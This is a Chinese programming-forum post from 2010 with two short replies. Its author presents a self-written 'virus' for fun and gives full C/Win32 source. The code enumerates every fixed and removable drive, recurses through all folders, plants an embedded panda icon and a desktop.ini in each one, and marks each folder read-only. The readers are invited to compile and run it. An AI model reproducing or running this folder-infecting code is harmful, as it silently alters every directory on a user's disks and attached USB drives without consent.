返回信息流病毒这玩意一听就感觉比较邪恶,但反过来说邪恶的东西也有比较可爱的一面比如我感觉 熊猫烧香的那个小猫就长的很标志
黑防早期的杂志专门做过病毒方面的栏目由CVC组织交主打,现在那些大牛们都专正了,不玩了,但那些伟大的坑仍让我们崇拜
不及,现在我们自己来写简单来玩玩,呵呵只要好玩就行了...通常病毒都是感染EXE COM等可执行文件,现在我们做一个感染文
件夹的 其主要特征就是文件夹图标会变成一个小熊猫
实现原理与步骤
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容
[.ShellClassInfo]
IconFile=GouGe.ico
IconIndex=0
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了
下面开始一个一个解析
1.枚举磁盘
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
for(char i='A';i<='Z';i++)
{
char x[20]={i,':'};
UINT Type=GetDriveType(x);
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘
{
EnumDirectory(x);//进行感染 此函数下面介绍
}
}
return 0;
}
2.枚举目录
bool EnumDirectory(TCHAR *dirpath)
{
WIN32_FIND_DATA fd;
TCHAR szTempFileFind[MAX_PATH] = { 0 };
bool bIsFinish = false;
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
wsprintf(szTempFileFind, "%s\\*.*", dirpath);
HANDLE hFind = FindFirstFile(szTempFileFind, &fd);
if (hFind == INVALID_HANDLE_VALUE)
{
return false;
}
while (!bIsFinish)
{
bIsFinish = (FindNextFile(hFind, &fd)) ? false : true;
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0))
{
TCHAR szFoundFileName[MAX_PATH] = { 0 };
strcpy(szFoundFileName, fd.cFileName);
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
TCHAR szTempDir[MAX_PATH] = { 0 };
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName);
Sleep(10);
inject(szTempDir);//进行感染 此函数下面介绍
EnumDirectory(szTempDir);//递归调用
}
}
}
FindClose(hFind);
return 0;
}
此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过
3.进行感染
void inject(char* path)
{
char inifilepath[256];
char icofilepath[256];
strcpy(inifilepath,path);
strcpy(icofilepath,path);
strcat(inifilepath,"\\desktop.ini");
strcat(icofilepath,"\\LengFeng.ico");
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI
}
此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的
4.生成ICO文件
bool WriteResourceToFile(char const *filename)
{
HINSTANCE hInstance=GetModuleHandle(NULL);
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE));
HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
void *pvRes = LockResource(hgRes);
DWORD cbRes = SizeofResource(hInstance, hResInfo);
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0);
DWORD cbWritten;
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
CloseHandle(hFile);
return false;
}
此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中
加载资源呢?请看下面的实现嘿嘿
5.SDK中加载资源
如果你使用了VC或者BCB又或DELPHI那么可以直接导入,但在VC中的SDK程序中是没有这个功能的,所以我们要自己实现
首先新建一个名为resource.h的头文件并输入
#define RC_BINARYTYPE 256
#define ID_ICO 100
资源中的类型和名称都是常数值可以自己定义,然后新建一个名为res.rc的文件并加入如下内容
#include "resource.h"
ID_ICO RC_BINARYTYPE ico.ico//将名称 类型 和文件关连
最后把 ico.ico这个文件拷贝到相同的目录下 , 这样就完成了,使用的时候直接加入头文件resource.h就可以了
其实整个源代码也在这里了 有兴趣的话可以试试运行 编译好的程序 保证让你"满眼尽是小熊猫"
这是一条镜像帖。来源:北邮人论坛 / cpp / #46626同步于 2010/11/22
该镜像源已超过 30 天没有更新,可能在源站已被删除。
CPP机器人发帖
文件夹感染!!!!!!!!
l19900617
2010/11/22镜像同步2 回复
订阅后,新回复会通过你的通知中心匿名送达。
2 条回复
发现lz尽发病毒系列。。。
【 在 l19900617 (蛋蛋的世界'Blog) 的大作中提到: 】
: 病毒这玩意一听就感觉比较邪恶,但反过来说邪恶的东西也有比较可爱的一面比如我感觉 熊猫烧香的那个小猫就长的很标志
: 黑防早期的杂志专门做过病毒方面的栏目由CVC组织交主打,现在那些大牛们都专正了,不玩了,但那些伟大的坑仍让我们崇拜
: 不及,现在我们自己来写简单来玩玩,呵呵只要好玩就行了...通常病毒都是感染EXE COM等可执行文件,现在我们做一个感染文
: ...................